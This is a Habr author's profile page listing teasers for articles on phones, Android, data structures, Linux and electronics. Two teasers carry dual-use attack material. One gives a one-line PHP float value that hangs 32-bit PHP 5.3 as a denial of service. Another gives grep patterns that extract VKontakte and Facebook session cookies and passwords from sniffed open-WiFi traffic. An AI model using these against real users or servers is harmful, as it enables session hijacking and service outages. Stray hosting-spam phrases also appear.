Как стать автором
Обновить
67
0
Aydar Biktimirov @nagato

Software Engineer

Отправить сообщение

Обзор SE Xperia arc: Триумфальная арка

Время на прочтение5 мин
Количество просмотров21K

Познакомившись с новым модельным рядом коммуникаторов Sony Ericsson, я пришел к выводу, что компания наконец-то вышла из черной полосы, в которой находилась последние пару лет, и направилась прямиком к белой — настолько вменяемые гаджеты представил японско-шведский альянс в 2011 году! Лицом нового поколения Xperia стал смартфон с говорящим названием arc.
Читать дальше →

Android Development Tutorial. Часть 2/?

Время на прочтение14 мин
Количество просмотров87K
Ларс Вогель — евангелист Eclipse.
Под катом Вы обнаружите продолжение перевода его статьи, которая описывает процесс создания Android-приложений с помощью Eclipse. Используется Eclipse 3.6, Java 1.6 и Android 2.3 (Gingerbread).
Часть 1
Читать дальше →

Android Development Tutorial. Часть 1/?

Время на прочтение6 мин
Количество просмотров120K
Ларс Вогель — евангелист Eclipse.
Под катом Вы обнаружите перевод его статьи, которая описывает процесс создания Android-приложений с помощью Eclipse. Используется Eclipse 3.6, Java 1.6 и Android 2.3 (Gingerbread).
Часть 2
Читать дальше →

AA-Tree или простое бинарное дерево

Время на прочтение6 мин
Количество просмотров19K
Тема бинарных деревьев уже обсуждалась на хабре (здесь и здесь).

Про AA-дерево было сказано, что «из-за дополнительного ограничения операции реализуются проще чем у красно-черного дерева (за счет уменьшения количества разбираемых случаев)».

Мне, однако, кажется, что AA-дерево заслуживает отдельной статьи.

Читать дальше →

Моноиды и их приложения: моноидальные вычисления в деревьях

Время на прочтение20 мин
Количество просмотров24K
Приветствую, Хабрахабр. Сегодня я хочу, в своём обычном стиле, устроить сообществу небольшой ликбез по структурам данных. Только на этот раз он будет гораздо более всеобъемлющ, а его применения и практичность — простираться далеко в самые разнообразные области программирования. Самые красивые применения, я, конечно же, покажу и опишу непосредственно в статье.

Нам понадобится капелька абстрактного мышления, знание какого-нибудь сбалансированного дерева поиска (например, описанного мною ранее декартова дерева), умение читать простой код на C#, и желание применить полученные знания.

Итак, на повестке сегодняшнего дня — моноиды и их основное применение для кеширования вычислений в деревьях.

Моноид как концепция


Представьте себе множество чего угодно, множество, состоящее из объектов, которыми мы собираемся манипулировать. Назовём его M. На этом множестве мы вводим бинарную операцию, то есть функцию, которая паре элементов множества ставит в соответствие новый элемент. Здесь и далее эту абстрактную операцию мы будем обозначать "⊗", и записывать выражения в инфиксной форме: если a и b — элементы множества, то c = ab — тоже какой-то элемент этого множества.

Например, рассмотрим все строки, существующие на свете. И рассмотрим операцию конкатенации строк, традиционно обозначаемую в математике "◦", а в большинстве языков программирования "+": "John""Doe" = "JohnDoe". Здесь множество M — строки, а "◦" выступает в качестве операции "⊗".
Или другой пример — функция fst, известная в функциональных языках при манипуляции с кортежами. Из двух своих аргументов она возвращает в качестве результата первый по порядку. Так, fst(5, 2) = 5; fst("foo", "bar") = "foo". Безразлично, на каком множестве рассматривать эту бинарную операцию, так что в вашей воле выбрать любое.

Далее мы на нашу операцию "⊗" накладываем ограничение ассоциативности. Это значит, что от неё требуется следующее: если с помощью "⊗" комбинируют последовательность объектов, то результат должен оставаться одинаковым вне зависимости от порядка применения "⊗". Более строго, для любых трёх объектов a, b и c должно иметь место:
(ab) ⊗ c = a ⊗ (bc)
Легко увидеть, что конкатенация строк ассоциативна: не важно, какое склеивание в последовательности строк выполнять раньше, а какое позже, в итоге все равно получится общая склейка всех строк в последовательности. То же касается и функции fst, ибо:
fst(fst(a, b), c) = a
fst(a, fst(b, c)) = a
Цепочка применений fst к последовательности в любом порядке всё равно выдаст её головной элемент.

И последнее, что мы потребуем: в множестве M по отношению к операции должен существовать нейтральный элемент, или единица операции. Это такой объект, который можно комбинировать с любым элементом множества, и это не изменит последний. Формально выражаясь, если e — нейтральный элемент, то для любого a из множества имеет место:
ae = ea = a
В примере со строками нейтральным элементом выступает пустая строка "": с какой стороны к какой строке её ни приклеивай, строка не поменяется. А вот fst в этом отношении нам устроит подлянку: нейтральный элемент для неё придумать невозможно. Ведь fst(e, a) = e всегда, и если ae, то свойство нейтральности мы теряем. Можно, конечно, рассмотреть fst на множестве из одного элемента, но кому такая скука нужна? :)

Каждую такую тройку <M, ⊗, e> мы и будем торжественно называть моноидом. Зафиксируем это знание в коде:
public interface IMonoid<T> {
    T Zero { get; }
    T Append(T a, T b);
}

Больше примеров моноидов, а также где мы их, собственно, применять будем, лежит под катом.
Читать дальше →

2000 из 3000 иконок готово — стань соавтором! (стол заказов)

Время на прочтение1 мин
Количество просмотров15K
Не так давно на хабре был топик, который привел на наш сайт 17 тысяч посетителей за два дня (11,828+5,100 on October 21, 2010). С 2009го года эта уже не первая волна, а последние иконки будут нарисованы в первой четверти 2012го года. Best reseller hosting providers.

image

Не хватает еще 1000 иконок для best email hosting. Готовы ли вы предложить метафоры, которых у нас еще не хватает? Тогда follow me…

Читать дальше →

Sony Ericsson Xperia Arc — первые впечатления

Время на прочтение4 мин
Количество просмотров19K
Анонсированный на CES 2011 новый флагман Sony Ericsson — модель Xperia Arc в России пока присутствует всего в двух экземплярах, которые сейчас нарасхват у пишущей, снимающей и рассказывающей о новинках рынка гаджетов братии. Довелось и мне покрутить в руках и даже прокатиться пару часов по Москве с новинкой.


Самое главное впечатление — телефон, не взирая на все навороты, остаётся телефоном — звонит, звонки принимает и в карман помещается. Это ни в коем случае не история, когда человек для гаджета — это гаджет для человека. А о наворотах — под катом.

Читать дальше →

Новый программерский жаргон

Время на прочтение7 мин
Количество просмотров51K
Посетителям сайта stackoverflow.com был задан вопрос: «Какие программерские термины вы придумали, так чтобы они стали популярны в ваших кругах (то есть вы слышали, что кто-то их повторяет)?

Ниже — вольный перевод самых популярных ответов.

Читать дальше →

Творим оригинальный подарок при помощи химии физики и электроники: часть 3

Время на прочтение6 мин
Количество просмотров27K
Третья, заключительная часть моей статьи о создании светящегося кристаллического сувенира. В ней описывается программная часть, то бишь прошивка микроконтроллера ATTiny13 из славного рода AVRок.
Читать дальше →

Творим оригинальный подарок при помощи химии физики и электроники: часть 2

Время на прочтение6 мин
Количество просмотров35K
В предыдущей части (http://habrahabr.ru/blogs/DIY/111610/) был рассмотрен первый шаг к созданию девайса, собственно выращивание кристалла. В этой части будем рассматривать физическое воплощение самого устройства и его электрическую схему.
Читать дальше →

Творим оригинальный подарок при помощи химии физики и электроники

Время на прочтение4 мин
Количество просмотров75K
Добрый день, уважаемые хабровчане. Так получилось, что я уже довольно долго занимаюсь разработкой электронных устройств на базе микроконтроллеров, микропроцессоров и ПЛИС. Одним из разработанных мной девайсов я хочу с вами поделиться.
Читать дальше →

Программирование молекулярной динамики

Время на прочтение3 мин
Количество просмотров25K
Доброе время суток хабражители и хабражительницы. Сегодня хотел бы поделиться с вами своими попытками в программировании физических процессов. А конкретнее – попытке углубиться до молекулярных масштабов. Тема для разговора под хабракатом – молекулярная динамика.
Читать дальше →

Уязвимость в php 5.3.* 32bit — float

Время на прочтение1 мин
Количество просмотров3.5K
В php обнаружен тривиальный код, приводящий к зависанию интерпретатора: бесконечному циклу и пожиранию ресурсов процессора.
<?php $d = 2.2250738585072011e-308; ?>
Попытки обработать это в виде строки через floatval (т.е. через любой ввод пользователя) также приводят к зависанию.
Как говорится: «Привет, DoS».

Как минимум подвержены версии 5.3.1 и 5.3.2
На тру-64 битах не воспроизводится.

Подробности

Основы Linux от основателя Gentoo. Часть 3 (4/4): Настройка пользовательского окружения

Время на прочтение8 мин
Количество просмотров38K
Заключительная глава третьей части серии руководств Linux для новичков. Основы конфигурирования рабочей оболочки, настройка переменных окружения, а также подведение итогов всей третьей части.

Навигация по основам Linux от основателя Gentoo:

Часть I:
  1. BASH, основы навигации
  2. Управление файлами и директориями
  3. Ссылки, а также удаление файлов и директорий
  4. Glob-подстановки
Читать дальше →

Перехват cookie в реальном времени в открытых WiFi-сетях

Время на прочтение1 мин
Количество просмотров65K


На видео показан угон сессии вконтакте.ру, который почему-то до сих пор не использует авторизацию с https и передает пароли открытым текстом.
Дамп трафика собирается программой kismac в формате libpcap и параллельно парсится grep-ом с использованием регулярных выражений, что позволяет в реальном времени выводить на экран все интересующие куки и пароли. При этом не используется никаких анализаторов пакетов.

regexp для перехвата вконтакте.ру:

tail -F pcap.файл | cat | grep -aEo «remixsid=[0-9a-f]+|l=[0-9]{3,12}|p=[0-9a-f]{36}|email=[^&]+&pass=[^ ]+»

для фейсбука:

c_user=[0-9]+|sid=[0-9]{1,5}|xs=[0-9a-f]{32}

Аналогичная конструкция будет работать и с дампом собранным с помощью airdump-ng.

Вконтакте и Федеральный Закон 152

Время на прочтение3 мин
Количество просмотров16K
VS

Как я посмотрел, на Хабре уже несколько раз поднималась тема «Федеральный Закон №152 и социальная сеть „Вконтакте“. Но я добавлю ещё пару копеек, ибо считаю это достаточно важным замечанием, которое, быть может, заставит кого-то задуматься.
под катом скандалы, интриги, расследования

WebSocket сервер на Haskell

Время на прочтение6 мин
Количество просмотров4.1K
Как-то раз от нечего делать я решил написать WebSocket сервер, а написав, подумал, что кому-то может оказаться интересным, чем же тут может помочь ленивость, функциональная чистота и прочие лямбды.
Читать дальше →

Создание приложений на GTK+ с использованием среды Glade

Время на прочтение10 мин
Количество просмотров47K
Данный пост посвящен созданию приложений с использованием кроссплатформенной библиотеки GTK+. Ориентирован он в основном на новичков? поэтому какие-то вещи возможно для многих покажутся очень простыми и банальными, но я постарался максимально подробнее всё описать, чтобы было понятно для всех.

Немалым достоинством этой библиотеки является то, что она бесплатна для коммерческого использования. В интернете не так много документации и действительно качественных статей по работе с GTK+. В очень многих примерах интерфейс программы пишется «ручками», что порой очень неудобно. Я сам с этим столкнулся и довольно часто больше времени тратил на то, чтобы правильно расположить виджеты (объекты) на форме, в контейнеры, а не сосредоточиться на решении поставленной задачи.

Я продемонстрирую как можно очень быстро создать интерфейс для GTK+ с помощью приложения для визуального создания графических интерфейсов Glade и интегрировать его в вашу программу. Glade не является ни компилятором, ни отладчиком. Он позволяет лишь описать интерфейс и представить его в файлах XML-формата GladeXML.

Базовым интерфейсом для библиотеки GTK+ является язык C. Но я в данном примере буду ипользовать C++. Соответственно появятся небольшие особенности, о которых я обязательно расскажу. Дистрибутив Linux я использую Ubuntu 10.04.

Задача будет такая: написать небольшое приложение состоящее из холста, бокового меню (выбора того, что нарисовать на холсте), главного меню и строки состояния. При этом боковое меню и холст при изменении размера всего окна приложения должны оставаться постоянного размера. Но тот контейнер, в котором находится холст может изменять свой размер в зависмости от увеличения/уменьшения размеров главного окна. И при необходимости должны появляться полосы прокрутки.
Читать дальше →

Ваше первое расширение для Opera

Время на прочтение4 мин
Количество просмотров12K
Вступление

Эта статья проведёт вас через базовые шаги для создания вашего первого расширения для Opera. Вы создадите кнопку на панели, при нажатии на которую будет открываться всплывающее окно с сообщением «Hello World!». Расширения для Opera пишутся с помощью общих открытых веб-стандартов, поэтому всё, что вам нужно чтобы начать, это Opera 11 и ваш текстовый редактор или IDE.
Читать дальше →

Основы Linux от основателя Gentoo. Часть 2 (4/5): Обработка текста и перенаправления

Время на прочтение6 мин
Количество просмотров36K
В этом отрывке вы узнаете про множество интересных и полезных команд по работе с текстовыми данными в Linux. Также даны основы работы с потоками ввода-вывода в bash.



Навигация по основам Linux от основателя Gentoo:

Часть I
  1. BASH: основы навигации (вступление)
  2. Управление файлами и директориями
  3. Ссылки, а также удаление файлов и директорий
  4. Glob-подстановки (итоги и ссылки)

Часть II
  1. Регулярные выражения (вступление)
  2. Назначения папок, поиск файлов
  3. Управление процессами
  4. Обработка текста и перенаправления
  5. Модули ядра (итоги и ссылки)


Читать дальше →

Информация

В рейтинге
Не участвует
Откуда
Москва, Москва и Московская обл., Россия
Дата рождения
Зарегистрирован
Активность